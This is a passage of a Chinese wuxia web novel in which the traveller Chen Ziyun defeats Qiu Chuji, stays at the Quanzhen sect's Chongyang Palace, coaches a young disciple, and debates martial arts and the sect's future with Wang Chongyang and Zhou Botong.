陈子云右手袖袍一抖,一道一闪而逝的红光,在丘处机劈砍来的剑锋之上来回划拨了三次。 “叮叮叮。” 三声脆响。 第一百二十七章 入住重阳宫 丘处机感觉手上的宝剑突然轻了一大截,可他此时并没有心思在意,保持着刚才的招式依旧朝着陈子云的脖颈砍下。 “成了。” 看着自己的剑从陈子云的脖颈划过,丘处机先是一喜,可随即看到陈子云那玩味的眼神,顿时感觉不妙。 当断成三节的剑刃呛哴声传到丘处机的耳朵里,他才发现自己手上拿着的竟然只是一截剑柄。 “你......” 丘处机双眼暴突,两颗眼珠子就像是要从眼眶里跳出来似的。 丘处机本来就是王重阳七个亲传弟子里武学天赋最好的,就算是大师兄马钰也不过是在内功修为上超过了他。 可是两个人的年龄差距摆在那里,丘处机自负只要时间到了,他自然能赶的上。 而且由于师傅王重阳经常闭关清修,如今这重阳宫的那些年轻弟子基本就是他们几个在大师传授,而自己跟是其中的主力。 所以丘处机对于自己的武功是有相当的自信的。 可如今这种自信或者说是骄傲,就被一个从来不曾听说过的书生摸样的年轻人给彻底的打破了。 看陈子云的面相,不过是个二十出头的年纪,可他透露出的武学功底简直与自己师父也不相差了。 “你......到底是谁?” 丘处机努力的将自己脑袋里的疯狂的念头扑灭,咬牙切齿的对着陈子云问道。 “来找你师傅论道的江湖人。” 陈子云淡然的道。 “好你个贱贼,江湖人?那你岂能不知我师父带着我师兄弟下南下去调解胡海两帮的梁子去了,至今未回?” 丘处机瞪着眼喝问道。 “南下了?” 这下轮到陈子云默然了,他从临安千里而来,却不知王重阳反倒去了南方。这也怪他,因为一路上都是游山玩水,没有太注意打听江湖上的消息。 这也是他在倚天世界里养成的坏习惯,习惯了黄柏年他们把江湖上的各种消息恭送到他面前,他已经不知道多久没有亲自去打听了。 陈子云有些不自然的侧身,隐晦的摸了摸自己的鼻尖。 “那令师尊什么时候能回山来?” 丘处机气呼呼的看着他,眼睛里满是不信,只以为是陈子云先消遣他。 “咳咳。” 陈子云假意的咳嗽了两声。 “师傅已经许久没有传来消息了,但根据以往师父处理这种江湖纷争的事情,少的也要个十天半个月的,长的甚至五六个月也不能真的将两方给说干净。 所以这位......大侠,我们也是真的不知道。” 那位跟陈子云聊过几句的小道士解释道。 “既然如此,那就替我在你们重阳宫里找一间干净些的厢房吧,我要在这里等你们师傅回来。” 陈子云心想自己本来也没什么事,不如就在这历来都是道家洞天福地的钟南山住上一段时间,也好想想在这个世界自己究竟要做些什么。 陈子云是习惯性的吩咐着,可另外三个人可就傻眼了。 “什么?” 丘处机还以为自己听错了,刚才还跟自己打的不可开交的人,竟然说要住进他们的重阳宫。 “怎么,有问题?” 陈子云皱着眉头。 “难道连这么基本的待客之道你们师傅都没教你们吗?还说什么儒释道三教合一,说什么三教圆融、识心见性、独全其真? 连这点基本的都做不到,你们的如此待客是合了儒的礼仪,还是合了释道宽大包容?” “这......” 三人都是愕然,哪里会想到陈子云竟然用王重阳自己的理论来拾掇他们。 “移步,借过。” 陈子云也不理会三人,径直从他们之间穿了过去,朝着重阳宫而去。 “丘师兄,这人怎么这样?” 那个被陈子云打的很惨的小道士指着陈子云的背影,朝丘处机诉苦道。 “丘师兄,这人武功高深莫测,要是他在重阳宫里胡来,恐怕不是我们这些弟子能够抵挡的。” 另一个小道士也提醒道。 “赶紧给师傅发消息,就说十万火急,请他速回重阳宫。” 丘处机看着陈子云的背影也是犹疑不定,如果是他一个人面对陈子云,他还能以命相拼。可如今重阳宫里就他一个人看家,他要是胡来惹怒了这位,怕是整个重阳宫都要遭殃。 当初师傅临走之前千叮万嘱,要他把重阳宫看护好。本来他还对师傅不带自己南行而愤愤不平。以为这看家护院的事情,交给哪个师兄弟都能行,何必一定要留下他。 可如今想来师傅也是故意让他这个武功最好的他留下的,如今这恶客上门,连自己都不是对手,要是其他师兄弟留下,哪里还会有命在。 可要是重阳宫真的被这人给糟蹋了,那他丘处机如何跟自己师父交代;万一这人凶性大发,伤了这宫中还刚开始学艺不久的师弟们,他丘处机又有何脸面面对他们。 “赶紧跟上去,把他带到重阳宫东边最好的厢房去,帮我也在他旁边收拾一间出来,我要日夜的看着他。” 丘处机像是下了什么决定,语气郑重的说道。 “丘师兄,这怎么可以,这不是让人家以为我们重阳宫怕了他了吗?” 那个脸肿的高的小道士还是满脸的不忿。 “住口,重阳宫不会怕任何人,但一切都要等师父回来再做决断。” 丘处机凛然喝道。他本来就是这些小道士的半个师傅,在他们面前自然有不可辩驳的威严。 两个小道士听他这般的语气,立马就低下了头,就跟以前练武出了差错被这位代师授艺的师兄呵斥时一样的反应。 “还不快去。” 丘处机见两人服软,也就缓和了自己的语气。 “是。” 两人追着陈子云就上山去了,好像相比于对陈子云的恐惧,还比不上他们这位怒色上脸的丘师兄似的。 丘处机见三人已经走远了,才狠狠的将手上的剑柄仍在地上。他这不是泄愤,而是发泄不满,是对自己的不满。 明明是差不多的年纪,为什么对方已经有了如此的武功,而自己就算有王重阳这样的名师教导,却还是这般的无用。 第一百二十八章 谢小子 以前在跟他那几位师兄弟切磋的时候,自己总是能技高一筹,也因此常常得到自己师父的夸奖。 虽然师父也常说要自己不可骄傲,要平心静气,自己的心性上有些躁进之气,会有碍修行。 丘处机本以为这只是师傅为了不让自己过于自傲的勉励之辞,并没有怎么放在心上。 可如今自己才发现,原来师傅说的没错,自己就是因为一点小小的成就就自鸣得意,不将这天下英雄放在眼里。 如今碰到了这么一个连名头都不知晓的江湖人,竟然就能把自己玩弄于股掌之间。 那这天下到底还有多少高手,多少俊才隐没在江湖之间,自己到底是有何等的坐井观天。 ...... 重阳宫的厢房很是朴素,但这也正合陈子云的心意,他本来就不是喜欢奢华的人。就算是在自己的第一村里,他虽然有个单独的大院子,但那也只是为了方便人员聚会用的。 他自己常用的也就是卧室跟书房,大多他一个人的时候,连吃饭都是在他那个只有一张桌子一张椅子和一个书架的简陋书房里吃的。 只有周芷若、黄柏年他们这些弟子在过年过节的时候回来了,才会大开筵席,热闹一番。 他其实有点像那种喜欢沉浸在自己的小世界里的隐士,要不是对当初元末百姓的生活实在看不下去,才费劲的组织了示范村,找来了高产零食。 要是按照他的本意,对于这样客居来此的世界,他只想着自己活的潇洒顺心才是最理想的。 所以在黄柏年这批人一旦能接手那些繁琐的事物以后,他直接就成了甩手的掌柜,庙里的菩萨。 “大侠,这里是我们重阳宫里最好的厢房了。” 那个陈子云手下留情的小道士笑着红肿的脸说道。 “你的道号叫什么?” 陈子云问道。 “大侠,在下并没有出家,只是拜在师傅门下学本事的。我姓谢,你就叫我小谢,或者谢小子也行,我家就在钟南山下,村里人都是这么叫我的。” 谢小子道。 “好,你也别叫我什么大侠了。我武功不差,但是并不是什么大侠,也不想当大侠。我本来姓陈,但是在这个世界,也可能姓韩,算了,先不管这个。 你就叫我陈英,或者陈子云也行。” 陈子云似乎又想到了跟韩侂胄的复杂关系,心里有些烦躁。 “见过陈大哥。” 小谢抬手拜了一拜。 陈子云笑了笑,对这个谢小子的上道很满意,是个机灵人。 陈子云便在重阳宫上住了下来,每天早上在道士们的早课中醒来。用小谢给自己准备好的水洗漱,在厨房里自己找吃的。 吃完了,如果是好天气里就在院子里练练武,舒展舒展筋骨。遇到天气不好的时候,就让谢小子帮他去找些道家的书籍,看上两眼打发时间。 在陈子云住了将近一个星期的时候,哦不,这里还没有星期这个概念,也就是第六天吧,大概。 来来往往的小道士对他这个突然住下来的外来者也熟悉了,虽然不会来主动搭讪,但遇到了也会和善的点头示意。这六天算是人类对于陌生事物的一种接纳时间吧。 陈子云第一天就知道丘处机住在他的旁边,他也明白对方是怕自己在重阳宫里乱来,是来看着自己的。 可他也不想想,要是自己真的想对重阳宫不利,岂是他丘处机能拦得住的。不过又想到丘处机也是责任所在,给自己图个心安罢了。 对于丘处机陈子云就当是没看见他一般,他本来对这个人就没什么好映象。不管是鲁莽冲动的给郭杨两家带去了毁家之难,还是半哄半骗的把江南七怪为了弥补自己的错误在异域他乡流浪十八年。 还有就是对于杨康,这位所谓的故人之后,也没有尽到作为师傅的责任,还说什么杨康奸猾不听指教。 你一个突然冒出来的野师傅,又没有跟他建立深厚的情感,在杨康小时候自以为是小王爷的意识里,怎么会把你一个野道士放在眼里。 丘处机若不是武功高,可能在杨康眼里,就跟那个在王府里教过自己的叫做汤祖德的武官也没什么区别。 再者说,这位汤祖德起码还经常见面,还更多几分熟络。 丘处机每次指导重阳宫的师弟们做完早课,就急匆匆的回到他们的院子里待着。他看着像是在那里舞剑练拳,实际上所有的注意力都放在了陈子云的身上。 但是他也不敢靠的太近,因为每次丘处机离陈子云的距离小于十米的时候,他就会突然觉得膝盖上被人踢了一脚似的。 第一次丘处机还以为是自己练功出了岔子,后面看到陈子云警告似的眼神才明白,是他出手了。 不过陈子云在院子里练功的时候,也不避讳丘处机跟负责照顾自己衣食住行的谢小子。 黄昏细雨红袖刀,二十四节气惊神指,破体无形剑气都一招一式的笔画着。至于小李飞刀,那本来就不是普通的武学范畴,也不适合练习。 但是练功的时候,自然不会跟拼杀的时候那般搞的声势浩大,陈子云早就到了重意不重力的境界。 只是一面在脑海里细细的思索着每一招绝学的深意,手舞足蹈之间揣摩着更进一步的方向而已。 要是有人能光看这些个表面上就像疯子跳舞一般混乱的招式,就能学到自己身上的这些绝学,陈子云还乐得他们学去。 丘处机一开始是不乐意看的,一方面是觉得自己师父王重阳传授的功夫肯定不比陈子云的武功差,只是自己没有领会到精髓。 另一方面也是他有这强烈的自尊心,就算是看着陈子云那神秘莫测的手段再眼红,他也绝对不会做出偷师的行为。 那不仅是对自己师门的背叛,也将是自己的最大侮辱。 而谢小子却完全相反,他只是全真教的小学徒,连王重阳的弟子都算不上,也就是丘处机他们这些全真教真正的二代弟子在教他们一些皮毛功夫。 第一百二十九章 指点 如果不是陈子云的突然闯入,他现在还依旧在山门前守着。 本来作为一个樵夫家庭出身的孩子,能来全真教学武已经是他们村里最荣耀的事情了,对于他这个没有见过真正繁华世界的小子来说也很是满足。 可见了陈子云那般神奇的手段,三两下就将自己心目中最憧憬的丘师兄打的狼狈不堪。 这对谢小子来说就像是开启了另一个世界,也同时引诱着他向重阳宫之外的世界探索的野心。 所以在确定陈子云,这位他刚认的陈大哥并不介意他观看练武的时候,他就再也没有落下过一次。 每当做完那全真教强制性的早课,他就马不停蹄的赶过来。别人总是以为,他是因为丘师兄的吩咐,要照顾好这位外来者才如此匆忙。 他们不知道,其实他是不想错过任何一个能让他窥视武学另一个层次的机会。 刚开始的时候,谢小子总是为没有看到陈子云如何起手而苦恼,可等到了第三天之后,他忽然发现,陈子云总是在他刚好气喘吁吁的赶到院子之后才会开始练武。 有一次,他跑的太急,又不想因为歇息而耽误,就一边喘着大气,一边强睁大着眼睛盯着,不肯漏过陈子云的任何一个动作。 可让他惊讶的是,陈子云竟然笑吟吟的看着他。陈子云本来面相就长的和善,这般一笑,谢小子突然后悔当时在山门口为什么会对这位看着就不像是坏人的人那样态度。 “全真教虽然是儒释道三教并行,但终究还是以道家为本。你这样的急促呼吸可是有违道家内功的法诀的,还是赶紧缓和下来吧。” 陈子云道。 “啊?” 谢小子惊讶出声,随即连连点头。 “是是。” 谢小子突然有种看到王重阳偶尔出现在校场里指点他们武功时的神态和摸样。 谢小子连忙闭气然后缓缓吐出,吐到一半又赶紧闭气,再缓缓吐出,如此反复三次之后,他终于是回复来平静。 “你主修的是什么?掌法,剑法?” 陈子云问道。他知道全真教都是使剑的,依稀又记得有一套什么履霜破冰掌的。 “嗯,开头是先学了拳脚,但也不是什么掌法腿法。只是用来熟悉自己手脚肢体的动作而已,师父说只有熟练的掌握来自己的手脚,才能更好的操纵兵刃。 后面,师兄弟们就是都开始练剑来,也只是也出剑,刺剑,收剑这样简单的招式。” 谢小子在说话的时候,他自己也没有意识到,本来他对王重阳和重阳宫的那种不可侵犯的敬重已然不见,反而有些因为不能学得高深武学的不满。 当然这样不是他一个人的想法,他们这个年纪的弟子,哪里有不看着那几位王重阳的亲传弟子的武功眼红的。 “那你刺一剑给我看看,朝着我的胸口来。” 陈子云并没有在意这些,他只是突然的心血来潮,想指点一下这位尽心服侍自己的小道士而已。 “啊,这?” “怎么,你难道还担你会刺伤我,呵呵。” 陈子云揶揄笑道。 谢小子脸上一阵涨红,显然他也意识到来自己的自大与无知。 “陈大哥,那你小心了。” 拔剑出鞘,手腕平直,力达剑尖,臂与剑成一直线,这一招刺剑中的关窍,谢小子已经不知道演练过多少次来。 如今使来就像是平时舒展自己的手臂一样的自然,谢小子欣喜的发现,自己现在刺出的这一剑是他练剑以来难得的几次最满意的刺剑。 一剑刺完,谢小子就要习惯性的收剑入鞘,以准备再次出剑。丘师兄说过,每出一剑就要提前想到下一剑,这样才能做到攻势连绵不觉,不给敌人喘息的机会。 “别动。” 谢小子被陈子云的突然出声一惊,刚抬起的手腕又不自觉的再次放平了。 谢小子疑惑的看向陈子云。 陈子云不说话,绕着谢小子走了一圈。 “还行,练的不错。” 以陈子云的眼光,自然看出来对方这一剑虽然没什么威力可讲,但是出剑的流畅和稳定已经是一个难得的入门剑法了。 心里也是对王重阳又多了几分敬意,虽然这一剑看似简单至极,却是锻炼初学者最合适不过的剑法。 不仅是让弟子门养成一个良好的习惯,更是在磨练弟子的心性。想到这里陈子云不由得看向一旁在跃跃欲试的丘处机。 陈子云肯定,这家伙肯定没有被这样的磨练过,要不然也不至于这么大的脾气。 “当不起陈大哥称赞,只是最普通的刺剑而已,师兄弟门都只是练的熟悉了,也与我都差不多。” 这是谢小子真实的想法,也是其他师兄弟的想法,在他们看来,再流畅稳定的一剑,也终究只是一招实战无用的刺剑而已。 陈子云笑着摇头,对谢小子的反应也不觉得有什么不对,什么层次的人看到什么东西。就像那段关于看山看水的描述一般,不同的人生阅历给了你不同的视野角度。山和水千年难变,便的只是你自己而已。 而像谢小子这些刚接触武学底层的这些重阳宫弟子们,自然也就只能看到最为粗浅的东西而已。 “剑是最古老的几种兵器之一。古时更是豪侠刺客的标配,而剑招中的刺,更是这种武器最为原始也是最为实用的一招。 专诸刺王僚,聂政刺侠累。杀人的时候,也不过都是一招——刺。 我虽然不练剑,但是也听说过,曾经有一人将这一剑练的快到没有人可以看清剑影的程度。 而这位剑客也就是凭着这一剑,威慑了江湖整整几十年。 所以这最简单的一招不是没用,而是要看用这一招的人有没有用。 如果是我来使这一招,就算我没有学过任何剑法,我也有信心插进任何一个人的喉咙。” 陈子云背着左手,右手成剑指,朝着院子中间的那个古树轻轻一指,竟然与刚才谢小子出剑的姿势分毫不差。 谢小子本来听来陈子云有些高深的话本来就有些迷糊,如今看陈子云这样软弱无力的一指就更加无所适从来。 第一百三十章 王重阳 “陈大侠,你肯指点我全真教的弟子,丘处机在此谢过,但是你不能这般的胡乱指点,坏了他的修行。” 丘处机此次脸上有些怒色,可因为前几次的警告,他还是不敢上前来。 陈子云只是瞥来他一眼,继续对着谢小子说道。 “不用急,你还是照常练,等过几天再看看这棵树,如果有什么发现,也自己藏着别说出来。 教你一个道理,师傅讲的终究还是师傅的,你要自己看明白了,想明白的,才是你自己的。” 谢小子忐忑的看了丘处机一眼,这位师兄在他心里还是有些威严的。对于他的不满,谢小子本能的感觉到有些不安,但是对于新的武学的追求又让他对于陈子云充满着憧憬。 所以一时之间,他也不知道该不该接陈子云的话,怕自己的现在的表现会引起丘师兄的反感。 陈子云看着眼前这个举着手想向自己拜谢,却又不敢的小家伙,无所谓的笑了笑。 “记着就行。” 这是陈子云第一次主动的提点这个谢小子,在陈子云自己看来,自己这次也不过是突发奇想而已。也许点拨了这一次之后,也不会有后续了。 可人算不如天算,就连丘处机也没想到,自己已经发出了那个十万火急的消息,可等王重阳回来却已经是两个多月之后的事情了。 让丘处机稍微安心的是,陈子云似乎没有什么多余的动作,除了看看道书就是在院子里练武。 偶尔兴致来了就指点几句谢小子,可那些似是而非的东西,在丘处机看来不过就是些好高骛远,天方夜谭而已。 当然丘处机不会再当面戳穿陈子云,只是在每天谢小子得到陈子云的指点之后,让他不要乱信这些话,要不然只会毁了他的修行。 全真教的东西是王重阳亲传的,难道还能比这个小年轻随口说的还不如? 丘处机自己觉得这句话完全是金科玉律,谢小子自然应该毫不犹豫的听从的。当然谢小子表面自然也是点头答应的,可是那一句句从陈子云口中说出来的的关于武学的精辟见解,就像是刻进了他脑子一样,怎么都忘不了。 尤其是那一句“剑之极,一刺而已。” 简直就像是有某种魔力似的,让谢小子每天练那一招刺剑的时候,每每有种欲罢不能的感觉,再也不如往日那般单调乏味。 而且更让他欣喜的是,他觉得平时不过是再简单不过的一刺,如今也有新的领会,而且这种心情几乎每天都有不同,简直让他如痴似醉。 但其他一起练剑的师兄弟问他,感觉他的这一刺好像跟他们的有些不同,又说不上来是哪里不同的时候,谢小子知道自己的找到来自己的剑,自己的路。 不过从那以后,他也开始收敛来,不再大庭广众之下展露他的这一刺,只是等四下无人的时候,才不断的练习着。 这是作为一个农家孩子最朴实的性情。财不露白,这是他那个大字不识的父亲教导过他的少数的几个道理。 飞剑客,这世间真的能有人把剑练的这般快吗,快的像飞起来? 这是谢小子脑海中不停的浮现的问题,也是他如今最大的向往。 两个多月之后的一天,陈子云依旧再院子中练拳,只是这一天丘处机没有像往常一样来盯梢,就是从未缺席过的谢小子也没来。 在将近中午的时候,一个脸上还挂着些风尘,头上黑白夹杂的中年道士来到了院中。 起先对方只是站在一边,等陈子云把从张老道那里学来的半部太极拳打完了才走过来。 为什么说是半部,因为当时张老道是怕陈子云不肯学,是把太极拳的要义夹杂在平时的切磋中说给他听的。 而且陈子云自己得天授的那些武功还没摸透,也就没怎么在意张老道的苦心。 如今重新捡起来,也只是因为这些天看的道书多了,突然对这暗含至理的太极拳有了更深刻的领悟。 而且他也想着借着对太极拳的理解帮助一下自己对于自身武学的融会贯通。 就像自己那段时间跟黄衫女交流武学一样,不管是九阴真经还是双剑合璧,或者说是更加神奇的黯然销魂掌,陈子云都不会真的去修习。 只是借鉴里面的一些武学至理来完善那几套已经是绝顶的天授武学而已。 “好好好,动静之机,阴阳之理,竟然都包含在这半套拳法里。要不是老道今日亲眼所见,绝然不会相信这世间竟然还有小友这般的天人。” 中年道士自称老道,其身型甚伟,脸颊留须,眉长而眼阔,其内更是精光隐隐,一看就是内功修炼到登峰造极的人物。 “王重阳?” 陈子云虽然嘴里说出来的是问句,但心里其实已经十分的肯定了。 “老道王喆见过陈道友,小徒说有嘉宾来访,却不知竟然也是一位深得我道家神韵的道友。还请陈道友恕我这徒弟有眼无珠,不识道友真身。” “真人客气了,对于道家我只能说是有缘曾得一位长辈指点,算是初窥门径,当不得与真人道友相称。” 陈子云可以对丘处机百般刁难,却不能对这位不管是在品性上还是才情上都是一代宗师的人物有半点放肆。 人品上,这位王真人曾为了自己的国家而起兵抗金;才情上,更是力压东邪西毒南帝北丐成为了天下第一。 至于说与林朝英的那些情感纠葛,陈子云又不是那些娱乐八卦小记者,何必捉着人家的情感私生活不放。 “哈哈哈,我那莽撞徒弟还说小友是如何如何,当真是该打。害的老道刚赶回重阳宫连这身上的尘土都未曾掸去。” 王重阳见陈子云如此谦逊知礼,已然看出他绝不是丘处机所说的那般强势霸道的人物。心里猜测也许是自己这徒弟的脾气犯了得罪了人,受了教训才会如此说。 陈子云也微笑的看着王重阳,看着他毫不作伪的舒畅欢笑。陈子云有点当初看到张三丰收到他带去的新种子时的那种神情。 同样是发自心底的,丝毫不做作的畅快。难道这两个老道士都是一般的性格?还是到了同样的修为的境界?或者是道家老庄的那种追求自由阔达的心态在引导着他们。 第一百三十一章 顽童 “小友不要见怪,老道我也很少像今天这般的欢笑了。天下流落,江湖又是如此不平静,这世事当真艰难。 只是今天见到小友风姿,实在是欢喜。虽不敢说伯牙遇子期,但贫道有预感,你我之间定然能相谈甚欢。” 王重阳眼神柔和,内里却有着几分炽烈。这是一个已经站在了山崖之巅,通常总是俯身看着山脚下努力攀登的人,突然在山顶的另一侧发现一个跟自己站的一样高的同好的惊喜。 “希望不会让真人失望才是。” 陈子云抬手在胸口谦逊一礼。 “师哥,师哥,你倒是等等我啊。那个家伙要是你打不过,我们可以一起对付嘛。反正是在自己家里,关起门来也没有人知道我们两个人欺负他一个。” 一个顽童一般的身影从院子的围墙后面跳了进来,明明门口就在他的旁边,这人缺宁可费力气跳墙也不走正路。 看那样子本来似乎是要动手的,只是在看到王重阳之后,又慢下了脚步。 “伯通,不得无礼。陈小友是我们重阳宫的贵客,万万不能怠慢。” 王重阳一把按在了来人的肩膀上,似乎怕这个身材较为矮小,明明已经有三十来岁年纪却一脸孩童般好奇天真面容的人冲撞了陈子云。 “周伯通?” 陈子云笑着问道。 “咦,你怎么知道我叫周伯通,哎呀,不好,我吃亏了,小丘处机还没告诉我你的名字。 不行我要去问问他去,就说什么恶人,恶人的,连名字都不说。” 周伯通说着就要往回去,却被王重阳一把抓住了。 “伯通,别胡闹。” “哈哈哈,我不就站在你面前,你为何不问我,反而要回去问丘处机?” 陈子云大笑。 “那不行,你没有问我名字,我的名字也不是我告诉你的。要是我问你了,你再告诉我名字,那不是显得我周伯通不如你?不行,万万不行。” 周伯通一脸认真的说道。 “哈哈哈哈.......” 陈子云大笑不止。一边的王重阳除了对自己师弟的胡闹有些无可奈何,倒是似乎很欣赏陈子云这样的开怀神色,不由得也跟着笑了起来。 “诶,师哥,你又笑什么,是又创出什么好玩的武功而高兴吗?也让我学学啊。” 周伯通扯着王重阳的宽大道袍急急问道。 可陈子云与王重阳两人似乎只顾着笑了,竟然都不理会他。 可这笑声听着听着,周伯通也感觉到不对劲了,他虽然心性天真,但也不是真的傻子。其实他在武学上更是难得的天才,他很快就从两人悠长的过分的笑声中听出了端倪。 一声一振,两声一动,原来在两人大笑的同时,这小院子里的一些树木碎石竟然也在跟着振动。 他们这哪里是在笑,而是正在借着笑声切磋武学呢。不过这种有声无形的切磋却是柔和的交流,并不是激烈的对抗。 更像是两人在用笑声合奏,不是高山流水那样的美妙乐章,却也是属于顶级武人的保留节目。 “师哥,这么好玩的东西你竟然不教我。啊.......不行啊,师哥,你要是不教我,我就不吃饭,不睡觉。哇......” 周伯通竟然就这么自顾自的在地上打滚撒泼起来了。 他的哭喊声夹杂在陈子云跟王重阳有节奏的笑声中,把刚才那种和谐的意境破坏的一滴不剩。 陈子云率先停下了这一场由他发起的交流,对着真的如那种最让人讨厌的小孩子一样表情的周伯通无语。 老顽童的脾性他是知道的,却不曾想到,对方竟然真的能做到这种程度。 “唉。” 王重阳有些可惜的一叹。 “还不起来,不是师哥不教你,以你现在的修为还驾驭不了这音波的操纵,要是强自修习对你有害无益。” 陈子云看着王重阳将还在撒泼的周伯通从地上拉起来,犹如看到了一个年迈父亲对自己不长进的儿子的那种溺爱与无奈。 看来王重阳是真的把这位师弟在当儿子养啊。 后面自然是王重阳在洗漱之后,给陈子云补办了一次本来应该由丘处机第一天就应该给他布置的招待宴。 当然王重阳也把自己手底下的另外几个弟子介绍给了陈子云,陈子云只是淡淡的打了个招呼,算是认识了。 唯一多看了一眼就是跟着自己丈夫一起出家的孙不二,也是在场的唯一一位坤道。 样貌就不做评价了,只是眉宇之间与自己丈夫马钰的那种情意,还是很明显的。 何苦呢! 在宴席上,王重阳还让丘处机当众给陈子云道了个歉。 陈子云看着那个连脖子都涨的通红的丘处机,在自己师父的逼视下,心不甘情不愿的给他作了个揖。 等他抬起头来,所有人都看到他全脸从通红变的煞白的摸样,很是诧异。与丘处机相临的王处一更是担心的扶住了他的身体,就怕他一个坚持不住给摔倒在桌子底下。 陈子云笑了笑,没有再看丘处机,反而是看向了王重阳,似乎在问你这是给我解梁子呢,还是给我结仇呢。 看着丘处机的摸样,估计这辈子都忘不了此刻的屈辱了。他自然不敢记恨自己的师父,那这仇啊怨啊的自然就都得算在陈子云头上了。 王重阳这位一代宗师也是尴尬的很,可看着自己的亲徒弟已经这样了,要是自己再说些什么,怕是要当场被逼出血来。 所以啊,这位基本上已经在江湖上无敌的全真教掌教真人只好歉意的回了陈子云一眼。仿佛就是在说,他这个当家长的也不容易啊,就只能让陈子云多担待了。 陈子云还能如何,只能当做没看到丘处机那死鱼眼一般的神色,还有几位相亲相爱的全真教的师兄弟们不太友善的目光。 加上王重阳频频招呼:“小友,吃菜吃菜。” 一个大教主,好像除了这一句就没有了别的客气话好说了。 所以啊,这江湖,对外的时候你可以是纵横无敌的王重阳,可一旦回了这全真教,这王重阳啊只能是一个要顾全大局,体贴弟子的老师傅。 就像某位大侠说的,这江湖哪里只是打打杀杀,更是人情世故啊。 大侠也要吃饭,掌教也是人啊。 第一百三十二章 论道 后面陈子云又在重阳宫待了半个月,这段时间自然是在跟王重阳交流,不管是王重阳感兴趣的天下世事,还是陈子云感兴趣的武学前路。 两人除了吃喝拉撒睡之外基本算得上是寸步不离,对他们这样的人来说,能找到一个可以彻底放开交流的,又能相互理解的人实在是太难了。 什么叫做高处不胜寒,因为不管是自然界中的虎豹,还是人类中这些顶级的天才,从来都是特立独行的。 因为一个到了他们这种程度的人,都有一套自己的做人准则,一种自己的修行门路,再也不会循着别人的老路前进。 就算这个人是父母,师傅也不行,因为那是一种无法违背的规则。 就像陈子云这次跟王重阳的交流由细入微,前几天两人都只是在简单的诉说自己的种种见地。 可到了后面,尤其是最后的那几天,要不是两人还算克制,说不得就要大打出手了。 武学的论证道了最后,不打一场,哪里能这么容易的就能说服对方的。 倒不是他们对自己的武学自视甚高,看不起别人的功夫。恰恰相反,他们都非常佩服各自的武学理念。 只是在细微处,比如当陈子云说到二十四节气惊神指的最后三指弹天的时候,王重阳就十分反对这种要永久性消耗自身真气的武功。 他认为武学本来就是强身健体为本的,像这样的有害身体的绝学是违背了跟本的东西。 他甚至建议陈子云直接放弃这样的武学,当然作为补偿他可以把自己刚创出来不久的先天功教给陈子云。 这武功不但能弥补陈子云以前因为修习弹天三指留下的隐患,还能激发他体内的潜力,让陈子云的功力更进一步。 可陈子云呢,他并没有答应,虽然也知道先天功确实是一部不下于九阴真经的武学。 这功夫是王重阳揉和了道家种种精华而创的,练出的先天真气周而复始生生不息潜力无穷,不仅化解戾气,祛百病调虚实,还能治疗沉重的内伤。 练成先天功里的奥秘能使人潜能意识被激发到极限,武学自会步入深不可测之化境。 可陈子云却并不需要,武功,说白了在他眼里,跟刀剑毒药都没有什么本质的区别。 只是一种能克敌制胜,让他周游于各个世界能安然度日的工具而已。 至于说益寿延年,陈子云都不知道自己到底能活多少年。他如今的这样的容貌已经维持了不下于二十年了,也许会一直维持下去。 自己的身体机能也是从来都没有衰退的感觉,甚至一天比一天旺盛。 所以陈子云最不需要的就是道家这种养生类的内功,当然借鉴一下还是可以的。 所以陈子云直接就拒绝了王重阳的提议,反而说他的全真教的武学立意虽然高,但是却不符合一般的江湖门派的传承模式。 像一般的江湖门派,如果有王重阳这么一位绝顶的人物,哪里需要三十来年缓慢的发展,早就门徒偏低称雄江湖了。 其中最大的问题,就是王重阳的武功太高,而他的武学要义又来自自身深厚的文化素养。 一个能把儒释道三教贯通的人物,其中思想的复杂程度可想而知。但是这样就意味着,如果他门下的这些弟子不能在文化素养上跟上他的脚步,就永远不可能真的了解王重阳所传武学的精髓。 这也是为什么周伯通到后面的武学基本都是自创的,而全真七子却是连王重阳的三层本事都没能学懂,就不要说那些基本学废了的三代弟子了。 王重阳听了陈子云的话后,沉默了片刻,其实作为一个武学宗师,哪里会一点都没发现自己投入了全部心血创建的全真教存在的问题。 可能发现问题是一回事,要解决问题却是另一回事了。 “小友可有什么教我?” 王重阳带着一些希翼之色问陈子云道。 “自然。” 陈子云昂然道。他提出这个问题可不只是为了转移王重阳抓着自己三指弹天不放,是真的已经替这位本不应该那么早就死的道家大宗师找好了办法。 “我看了如今全真教的人员结构,一个举世无敌的掌教,一个潜力无限的顽童,七个不上不下的庸才,一大群没有方向的孺子。” 陈子云说的毫不客气,瞥了一眼王重阳,却只见他艰涩点头。 “全真教既然入了这江湖,自然就不能不考虑传承,不说百代不竭,起码要规划一番三代以后的事情吧。 可如今的摸样,等真人跟那顽童故去之后,全真教怕是难以为继啊。您的那七位弟子,守城尚可,可要是遇到了江湖风浪,怕是难以支撑全真教这艘大船。” 王重阳在心里将自己的七个弟子的优劣都细细的回想了一遍,不由得发出一声轻叹。 “哎,那请问陈小友,若是你来当这全真教教掌教,又待如何?” “既然真人将全真教定义为一个教派,而不是普通的只传武学的江湖门派,那这儒释道三教合一的教义自然不能丢了。 如您的七位宝贝弟子这般有心入道的人物,自然也要培养。 但是......” 陈子云缓了缓,神色也变的严肃。 “一个江湖教派也不能只有这么些传承教义的。‘人在江湖,身不由己。’想来真人是明白这句话的,就算全真教不主动惹麻烦,可也总免不了麻烦找上门来。 这个时候自然就少不了靠手上的功夫决胜负,定对错。 而那些花费了大量时间在理解教义上的道长,想来要在年轻的时候就把功夫练到高深处也是难的。 当然如果全真教能再出一个像真人这般的绝世之才,那自然当小子白费口舌。 可要是以一般情况来看,全真教就不得不准备培养一些能够速成武学的弟子来充当门面。 以免在那些修行后劲大却前劲不足的武学的道长,没有能完全成长起来以前就......” 陈子云最后几个字没说出口,但王重阳显然是能明白的,无非就是教毁人亡呗。 第一百三十三章 全真教的隐患 “可要是这样,那老道如何对得起被挑出来充当所谓门面的弟子?” 王重阳自然明白,这些弟子一旦被挑出了修习能速成的武功,就基本绝了以后攀登武学高峰的机会。 而且那样的武学向来都不是他所期望的,因为那种武功肯定是对修习者身体的压榨,这与他修炼的道家养生的内功简直就是截然相反的两条道路。 “真人,您悲天悯人,在下自然是知道的。可是你不必如此,我在你回来之前的几天里,我认识了一个姓谢的小家伙。 人还算机灵,我就指点了他几句,没想到这个小子竟然在剑法上还展现出了不错的天赋。” 陈子云说道这里,王重阳嘴巴好像动了一下,似乎有什么要问。 